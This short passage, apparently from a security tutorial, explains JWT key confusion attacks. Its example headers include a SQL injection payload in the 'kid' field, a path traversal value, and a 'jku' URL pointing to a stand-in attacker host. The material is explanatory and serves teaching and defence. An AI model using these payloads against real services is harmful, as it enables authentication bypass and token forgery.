JWT Key Confusion attacks exploit vulnerabilities in how JWT libraries determine which key to use for verification. This includes algorithm confusion as well as attacks on key identification mechanisms like the "kid" (Key ID) header.
Using asymmetric public key as symmetric secret (see Algorithm Confusion).
// Normal header with key ID
{"alg": "HS256", "typ": "JWT", "kid": "key-1"}
// Attack: SQL injection in kid
{"alg": "HS256", "typ": "JWT",
"kid": "key-1' UNION SELECT 'secret' --"}
// Attack: Path traversal to use known file
{"alg": "HS256", "typ": "JWT",
"kid": "../../public/known-file.txt"}
// jku: URL to fetch JWKS
{"alg": "RS256", "jku": "https://attacker.com/jwks.json"}
// Server fetches attacker's key set and uses their key!